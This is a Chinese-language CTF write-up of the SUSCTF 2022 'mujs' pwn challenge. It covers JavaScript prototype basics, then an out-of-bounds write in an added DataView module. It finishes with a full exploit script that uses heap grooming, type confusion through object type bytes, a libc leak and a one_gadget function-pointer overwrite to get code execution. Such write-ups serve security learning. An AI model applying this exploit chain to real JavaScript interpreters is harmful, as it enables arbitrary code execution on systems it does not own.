mujs 复现
没有遇见过的 pwn
1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9.3 ) stable release version 2.31
根据题目信息,先学习 mujs 是什么东西
MuJs 简述
MuJS 是一个轻量级的 JavaScript 解释器,用于嵌入到其他的软件中提供脚本执行功能,使用可移植 C 编写,实现了 ECMA-262 规定的 ECMAScript 标准
MuJS 包含一个简单的可执行程序 mujs,它通过调用 MuJS 库提供一套标准的 javascript 解释器,作为 javasript 的交互终端或者批处理命令执行平台
1 2 3 ➜ release ./mujs Welcome to MuJS 1.2 .0 . >
启动解释器 mujs 后,可以输入 JavaScript 代码
1 2 3 4 5 6 7 mujs: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31 -0u buntu9.9 _amd64/ld-2.31 .so, for GNU/Linux 3.2 .0 , BuildID[sha1]=27979 cb2ff1c7a6765b5243c3aaad6c609e88108, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
先通过题目给的哈希下载 MuJS 源码:
1 dd0a0972b4428771e6a3887da2210c7c9dd40f9c
使用 diff 命令对比源码和题目文件的差异,找出需要分析的目标:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ➜ 桌面 diff mujs susctf2022_mujs 只在 susctf2022_mujs 存在:build # ignore mujs/docs 和 susctf2022_mujs/docs 有共同的子目录 只在 mujs 存在:.gitattributes # ignore 只在 mujs 存在:.gitignore # ignore diff --color mujs/jsbuiltin.c susctf2022_mujs/jsbuiltin.c diff --color mujs/jsbuiltin.h susctf2022_mujs/jsbuiltin.h diff --color mujs/jscompile.c susctf2022_mujs/jscompile.c 只在 susctf2022_mujs 存在:jsdataview.c # target diff --color mujs/jsdump.c susctf2022_mujs/jsdump.c diff --color mujs/jsgc.c susctf2022_mujs/jsgc.c diff --color mujs/jsi.h susctf2022_mujs/jsi.h diff --color mujs/jsobject.c susctf2022_mujs/jsobject.c diff --color mujs/json.c susctf2022_mujs/json.c diff --color mujs/jsstate.c susctf2022_mujs/jsstate.c diff --color mujs/jsvalue.h susctf2022_mujs/jsvalue.h diff --color mujs/main.c susctf2022_mujs/main.c diff --color mujs/mujs.h susctf2022_mujs/mujs.h diff --color mujs/one.c susctf2022_mujs/one.c diff --color mujs/pp.c susctf2022_mujs/pp.c diff --color mujs/regexp.c susctf2022_mujs/regexp.c mujs/tools 和 susctf2022_mujs/tools 有共同的子目录
可以发现以上这些模块或多或少都有差异,不知道是版本问题还是魔改了源码
只在 susctf2022_mujs 存在:jsdataview.c,先重点分析这个文件
Bindiff 恢复符号
由于题目给出了源码,可以用 Bindiff 的 IDA 插件来获取源文件的符号
先利用题目给出的代码编译一个有符号的文件:
在 IDA 中使用 Bindiff 插件:
选中需要恢复的符号,然后选择导入(一般选择相似度在 0.8 以上的函数,但这个题目推荐用字符串来定位函数位置)
JavaScript 数据类型
值类型(基本类型):字符串(String),数字(Number),布尔(Boolean),空(Null),未定义(Undefined),Symbol
引用数据类型(对象类型):对象(Object),数组(Array),函数(Function),正则(RegExp),日期(Date)
将变量的值设置为空 Null 来清空变量
未定义 Undefined 表示变量不含有值
对象也是一个变量,但对象可以包含多个值(多个变量),每个值以 name:value 对呈现
1 var person = {firstName :"John" , lastName :"Doe" , age :50 , eyeColor :"blue" };
所有的 JavaScript 变量都是对象,数组元素是对象,函数是对象
因此,你可以在数组中有不同的变量类型,你可以在一个数组中包含对象元素、函数、甚至是其它数组:
1 2 3 4 5 var myCars=new Array ("Saab" ,"Volvo" ,"BMW" );var myArray=new Array ();myArray[0 ]=Date .now; myArray[1 ]=myFunction; myArray[2 ]=myCars;
JavaScript 类型系统
我们经常用两个维度去描述一个编程语言的特性:
强类型与弱类型,这是从 类型安全 的维度分类
静态类型与动态类型,这是从 类型检查 的维度分类
强类型 :要求语言层面限制函数的实参类型必须与形参类型相同
弱类型 : 语言层面不会限制实参的类型
下面是一个例子,用于对比强类型的 Java 和弱类型的 JavaScript:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Main { static void foo (int num) { System.out.printIn(num); } public static void main (Sting[] args) { Main.foo(100 ); Main.foo('100' ); Main.foo(Integer.parseInt("100" )); } }
1 2 3 4 5 6 7 8 9 function foo (num ) { console .log(num) } foo(100 ) foo('100' ) foo(parseInt ('100' ))
强类型语言中不允许有任何的隐式类型转换,而弱类型语言则允许任意的数据隐式类型转换
静态类型 :一个变量声明时它的类型就是明确的,声明过后,类型不能修改
动态类型 :运行阶段才可以明确变量的类型,而且变量的类型随时可以改变。所以动态类型语言中的变量没有类型,变量中存放的值时有类型的
下面举个例子:
1 2 3 4 5 6 7 8 9 10 class Main { public static void main (String[] args) { int num = 100 ; num = 50 ; num = '100' System.out.printInt(num); } }
1 2 3 4 5 6 7 var num = 100 num = 50 num = '100' num = true console .log(num)
JavaScript 是一个弱类型且动态类型的语言
参考:JavaScript类型系统
JavaScript 构造函数
有时我们需要创建相同“类型”的许多对象的“蓝图”(类似于C语言中的结构体)
1 2 3 4 5 6 function Person (first, last, age, eye ) { this .firstName = first; this .lastName = last; this .age = age; this .eyeColor = eye; }
在 JavaScript 中,被称为 this
的事物是代码的“拥有者”
在构造器函数中,this
是没有值的,它是新对象的替代物,当一个新对象被创建时,this
的值会成为这个新对象(有点像 python 中的 self
)
创建一种“对象类型”的方法,是使用对象构造器函数,在上面的例子中,函数 Person() 就是对象构造器函数
通过 new 关键词调用构造器函数可以创建相同类型的对象:
1 2 var myFather = new Person("Bill" , "Gates" , 62 , "blue" );var myMother = new Person("Steve" , "Jobs" , 56 , "green" );
构造器函数中也可以定义方法:
1 2 3 4 5 6 7 8 9 function Person (firstName, lastName, age, eyeColor ) { this .firstName = firstName; this .lastName = lastName; this .age = age; this .eyeColor = eyeColor; this .changeName = function (name ) { this .lastName = name; }; }
1 2 var myFriend = new Person("Bill" , "Gates" , 62 , "blue" );myFriend.changeName("Jobs" );
通过用 myFriend
替代 this
,JavaScript 可以获知目前处理的哪个 person
构造函数中的资源浪费:
1 2 3 4 5 6 7 8 9 10 11 12 13 function Person (firstName, lastName, age, eyeColor ) { this .firstName = firstName; this .lastName = lastName; this .age = age; this .eyeColor = eyeColor; this .changeName = function (name ) { this .lastName = name; }; } let p1 = new Person('yhellow' ,'chunk' ,99 ,'red' )let p2 = new Person('yhellow' ,'chunk' ,99 ,'red' )console .log(p1.changeName == p2.changeName)
实例对象 p1,p2 拥有完全一样的内容,但是其属性方法却是不同的
关键字 function 需要在 heap 中开辟一片空间,用于存放 function 的代码,然后把这片地址返回出去
两个实例对象 p1,p2 导致一模一样 function 被重复写入了两次,这就造成了资源浪费
常规解决办法:
使用全局函数:可以直接把 function 变为全局函数,在构造函数中赋值其地址就行了,但这种方法会污染全局变量
使用对象:把这些全局函数用一个专业的对象组织起来,这些函数就变成这个对象的属性了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 let obj = { fn1 : function ( ) { console .log('chunk1' ) }, fn2 : function ( ) { console .log('chunk2' ) }, fn3 : function ( ) { console .log('chunk3' ) }, } function Person (firstName, lastName, age, eyeColor ) { this .firstName = firstName; this .lastName = lastName; this .age = age; this .eyeColor = eyeColor; this .fun1 =obj.fn1 this .fun2 =obj.fn2 this .fun3 =obj.fn3 } let p1 = new Person('yhellow' ,'chunk' ,99 ,'red' )let p2 = new Person('yhellow' ,'chunk' ,99 ,'red' )console .log(p1.fun1 == p2.fun1)
这种方法可以避免资源浪费,也可以防止全局变量污染,但它自己还是会污染全局变量
为了解决这个问题,JavaScript 会为每个构造器创建一个原型对象,这个原型对象可以起到和上述 obj 对象一样的作用
PS:原型对象不是对象,而是属性
JavaScript 原型对象
在 JavaScript 中每个构造器(函数)都有一个内置属性叫 prototype ,它叫原型 ,也是个对象,我们叫这个对象为原型对象
在 Chrome 浏览器中按 Ctrl+Shift+J 启动控制台,创建一个对象并查看其属性:
可以发现该对象中有一个 [[prototype]] 属性,指向该属性的原型对象 String
继续展开 [[prototype]],发现它也有 [[prototype]] 属性,指向 String 的原型对象 Object
这些就很清晰了,每一个对象都有一个内置属性叫 prototype ,指向该属性的原型对象(Object 没有 prototype,因为 Object 是所有对象的基础),所有的 JavaScript 对象都会从一个 prototype(原型对象)中继承属性和方法:
Date
对象从 Date.prototype
继承
Array
对象从 Array.prototype
继承
Person
对象从 Person.prototype
继承
所有 JavaScript 中的对象都是位于原型链顶端的 Object
的实例
如果上述案例不使用全局对象 obj,而是使用原型对象的话,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function Person (firstName, lastName, age, eyeColor ) { this .firstName = firstName; this .lastName = lastName; this .age = age; this .eyeColor = eyeColor; } Person.prototype.fun1 = function ( ) { console .log('chunk1' ) } Person.prototype.fun2 = function ( ) { console .log('chunk2' ) } Person.prototype.fun3 = function ( ) { console .log('chunk3' ) } let p1 = new Person('yhellow' ,'chunk' ,99 ,'red' )let p2 = new Person('yhellow' ,'chunk' ,99 ,'red' )console .log(p1.fun1 == p2.fun1)
fun1,fun2,fun3 都在 [[prototype]](Person.prototype
)中,并且会被 Person
继承
JavaScript new 一个对象的过程:
创建一个空对象
将空对象的原型指向构造函数的原型(继承函数的原型)
将属性和方法添加至这个对象(改变 this 各个条目的指向)
对构造函数返回值的处理判断(忽略返回的基本类型,只返回引用类型)
案例,以下代码可以模拟 new 的过程,产生和 new 一样的效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function Fun (age,name ) { this .age = age; this .name = name; } function create (fn, ...args ) { var obj = {}; Object .setPrototypeOf(obj,fn.prototype) var result = fn.apply(obj,args); return result instanceof Object ? result : obj; } console .log(new Fun(18 ,'yhellow' ))console .log(create(Fun,18 ,'yhellow' ))
DataView 视图
DataView 视图是一个可以从 ArrayBuffer 对象中读写多种数值类型的底层接口,在读写时不用考虑平台字节序问题
1 new DataView (buffer [, byteOffset [, byteLength]])
buffer:一个 ArrayBuffer
或 SharedArrayBuffer
对象,DataView 对象的数据源
byteOffset:可选,此 DataView 对象的第一个字节在 buffer 中的偏移,如果不指定则默认从第一个字节开始
byteLength:可选,此 DataView 对象的字节长度,如果不指定则默认与 buffer 的长度相同
PS:后来发现题目中的 DataView 和 DataView 视图没有多大的关系,题目的 DataView 有点像作者为 mujs 写的插件,内在逻辑都是自定义的
参考:DataView (DataView) - JavaScript 中文开发手册
漏洞分析
程序的代码量有点大,但通过 diff 命令可以得到 jsdataview.c 文件是题目独有的,漏洞点极有可能在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static void Dv_setUint8 (js_State *J) { js_Object *self = js_toobject(J, 0 ); if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView" ); size_t index = js_tonumber(J, 1 ); uint8_t value = js_tonumber(J, 2 ); if (index < self->u.dataview.length+0x9 ) { self->u.dataview.data[index] = value; } else { js_error(J, "out of bounds access on DataView" ); } } static void Dv_getUint32 (js_State *J) { js_Object *self = js_toobject(J, 0 ); if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView" ); size_t index = js_tonumber(J, 1 ); if (index+3 < self->u.dataview.length) { js_pushnumber(J, *(uint32_t *)&self->u.dataview.data[index]); } else { js_pushundefined(J); } }
setUintN 用于将无符号的N位整数存储在指定位置
getUintN 用于获取存储在指定位置的无符号N位整数
漏洞点还是比较明显的:
Dv_setUint8 向后溢出 9 字节
Dv_getUint32 向前溢出 3 字节
但是要真正利用这个漏洞,还必选理解程序的功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void jsB_initdataview (js_State *J) { js_pushobject(J, J->DataView_prototype); { jsB_propf(J, "DataView.prototype.getUint8" , Dv_getUint8, 1 ); jsB_propf(J, "DataView.prototype.setUint8" , Dv_setUint8, 2 ); jsB_propf(J, "DataView.prototype.getUint16" , Dv_getUint16, 1 ); jsB_propf(J, "DataView.prototype.setUint16" , Dv_setUint16, 2 ); jsB_propf(J, "DataView.prototype.getUint32" , Dv_getUint32, 1 ); jsB_propf(J, "DataView.prototype.setUint32" , Dv_setUint32, 2 ); jsB_propf(J, "DataView.prototype.getLength" , Dv_getLength, 0 ); } js_newcconstructor(J, jsB_new_DataView, jsB_new_DataView, "DataView" , 0 ); js_defglobal(J, "DataView" , JS_DONTENUM); }
有点类似于“注册函数”,把 JavaScript 层函数名称和 C 层的具体函数进行绑定
设置了创建函数 jsB_new_DataView
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static void jsB_new_DataView (js_State *J) { int top = js_gettop(J); size_t size; if (top != 2 ) { js_typeerror(J, "new DataView expects a size" ); } size = js_tonumber(J, 1 ); js_Object *obj = jsV_newobject(J, JS_CDATAVIEW, J->DataView_prototype); obj->u.dataview.data = js_malloc(J, size); memset (obj->u.dataview.data, 0 , size); obj->u.dataview.length = size; js_pushobject(J, obj); }
创建了一个 js_Object 结构体,js_malloc 申请了一个堆块
类型混淆+堆风水
先看看 js_Object 结构体中的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 struct js_Object { enum js_Class type ; int extensible; js_Property *properties; int count; js_Object *prototype; union { int boolean; double number; struct { const char *string ; int length; } s; struct { int length; } a; struct { js_Function *function; js_Environment *scope; } f; struct { const char *name; js_CFunction function; js_CFunction constructor; int length; void *data; js_Finalize finalize; } c; js_Regexp r; struct { js_Object *target; js_Iterator *head; } iter; struct { const char *tag; void *data; js_HasProperty has; js_Put put; js_Delete delete ; js_Finalize finalize; } user; struct { uint32_t length; uint8_t * data; } dataview; } u; js_Object *gcnext; js_Object *gcroot; int gcmark; };
js_Object 的第一个字节可以被覆盖,而它表示该对象的类型
因此必须用堆风水把有溢出的 dataview.data 申请到 js_Object 前面
在此之前先分析一下程序的流程:
main
:注释掉了大部分的内置函数,只留下了个 print
,控制权交给 js_dofile
js_dofile
:调用 js_loadfile
设置栈,调用 js_call
运行代码
js_call
:从栈中获取 obj
, 然后这个 obj
就是要调用的函数,最后进入 jsR_run
jsR_run
:获取 opcode
并执行,C层的代码会通过 jsR_callcfunction
进行调用
测试样例:
1 2 3 4 5 6 7 8 b = DataView (0x68 ); a = DataView (0x48 ); b = DataView (0x48 ); c = DataView (0x48 ); e = DataView (0x48 ); f = DataView (0x1000 * 0x1000 );
首次执行 jsB_new_DataView
堆环境很乱,这是因为程序在 jsB_init
中对各种类型进行了初始化,导致 heap 出现了许多 free chunk 和 tcache,扰乱了后续的分配
PS:Bindiff 对 jsB_new_DataView
的识别不是很到位,所以这里推荐用字符串来定位该函数
1 2 3 4 5 6 7 Allocated chunk | PREV_INUSE Addr: 0x5555555c2af0 Size: 0x51 Allocated chunk | PREV_INUSE Addr: 0x5555555c2b40 Size: 0x71
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x5555555c2b40 00 :0000 │ 0x5555555c2b40 ◂— 0x0 01 :0008 │ 0x5555555c2b48 ◂— 0x71 02 :0010 │ 0x5555555c2b50 ◂— 0x100000010 03 :0018 │ 0x5555555c2b58 —▸ 0x55555559b0a0 —▸ 0x555555585089 ◂— 0x6d6172676f727000 04 :0020 │ 0x5555555c2b60 ◂— 0x0 05 :0028 │ 0x5555555c2b68 —▸ 0x5555555a5780 ◂— 0x100000010 06 :0030 │ 0x5555555c2b70 ◂— 0x48 07 :0038 │ 0x5555555c2b78 —▸ 0x5555555c2bc0 ◂— 0x0
可以利用漏洞修改 js_Object->type
,从而造成类型混淆
核心思路就是:利用 js_Object
的联合体中,占用相同内存位置的其他类型字符来修改 js_Object.u.dataview.length
,导致更大的堆溢出
联合体中的 js_Object.u.dataview.length
js_Object.u.c.name
js_Object.u.number
占用同一内存位置(由于指针需要8字节对齐,dataview.length
在联合体中应该占用8字节,因此不用担心覆盖后面的 dataview.data
)
1 2 3 4 5 6 7 8 9 10 11 12 13 static void js_setdate (js_State *J, int idx, double t) { js_Object *self = js_toobject(J, idx); if (self->type != JS_CDATE) js_typeerror(J, "not a date" ); self->u.number = TimeClip(t); js_pushnumber(J, self->u.number); } static void Dp_setTime (js_State *J) { js_setdate(J, 0 , js_tonumber(J, 1 )); }
函数 setTime
可以修改 js_Object.u.number
,因此我们修改 dataview
为 date
,执行完 setTime
后再改回来:
1 2 3 4 5 b.setUint8(0x48 +8 , 10 ); Date .prototype.setTime.bind(c)(1.09522e+12 ) b.setUint8(0x48 +8 , 16 ); print(c.getLength())
这里不能直接使用 c.setTime(0)
, 对象的 prototype
在我们一创建的时候其实就已经确定了,所以当我们改变 type
的时候 prototype
并没有改变
而 prototype
基本就已经定义了这个对象可以调用哪些方法
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x5555555c2b40 00 :0000 │ 0x5555555c2b40 ◂— 0x0 01 :0008 │ 0x5555555c2b48 ◂— 0x71 02 :0010 │ 0x5555555c2b50 ◂— 0x10000000a 03 :0018 │ 0x5555555c2b58 —▸ 0x55555559b0a0 —▸ 0x555555585089 ◂— 0x6d6172676f727000 04 :0020 │ 0x5555555c2b60 ◂— 0x0 05 :0028 │ 0x5555555c2b68 —▸ 0x5555555a5780 ◂— 0x100000010 06 :0030 │ 0x5555555c2b70 ◂— 0x426fe0065ea00000 07 :0038 │ 0x5555555c2b78 —▸ 0x5555555c2bc0 ◂— 0x0
这之后就可以泄露 libc_base 了
最后修改某个 dataview
的 type
为 JS_CCFUNCTION
(enum-4
),在 js_call
可以调用函数指针 obj->u.c.function
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void js_call (js_State *J, int n) { js_Object *obj; int savebot; ...... } else if (obj->type == JS_CCFUNCTION) { jsR_pushtrace(J, obj->u.c.name, "native" , 0 ); jsR_callcfunction(J, n, obj->u.c.length, obj->u.c.function); --J->tracetop; } BOT = savebot; }
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 b = DataView(0x68 ); a = DataView(0x48 ); b = DataView(0x48 ); c = DataView(0x48 ); e = DataView(0x48 ); f = DataView(0x1000 * 0x1000 ); b.setUint8(0x48 +8 , 10 ); Date.prototype.setTime.bind(c)(1.09522e+12 ) b.setUint8(0x48 +8 , 16 ); print(c.getLength()) sh32 = 4294967296 libb_addr_off = 472 libc_leak = c.getUint32(libb_addr_off) + (c.getUint32(libb_addr_off+4 )*sh32) libc_off = 0x7ffff7c31000 - 0x7ffff6bfe010 libc_base = libc_leak + libc_off print('libc base:', libc_base.toString(16 )) one_gag = libc_base + 0xe6af4 print('onegadget:', one_gag.toString(16 )) e_obj_off = 192 c.setUint8(160 , 4 ) c.setUint32(e_obj_off+8 , one_gag&0xffffffff ) c.setUint32(e_obj_off+8 +4 , Math.floor(one_gag/sh32)&0xffffffff ) e()
小结:
这应该是我复现的第一个 JavaScript 解释器(拖了好久了),第一次接触这种题目时,发现堆风水根本看不懂,于是放着了…
后来我在各个可能会申请内存的函数中打上断点,调试了一会网上的 wp 才弄清楚了一点堆风水,感觉这种题目还是没法完全掌握 heap 的分配情况(尤其是没有符号,大大增加了调试和逆向的难度),所以探索 heap 排布就只能靠尝试(目前太菜了,没有什么好方法)
最后学到了一个类型混淆的利用技术,感觉也是比较套路化的,只要把堆风水搞好就问题不大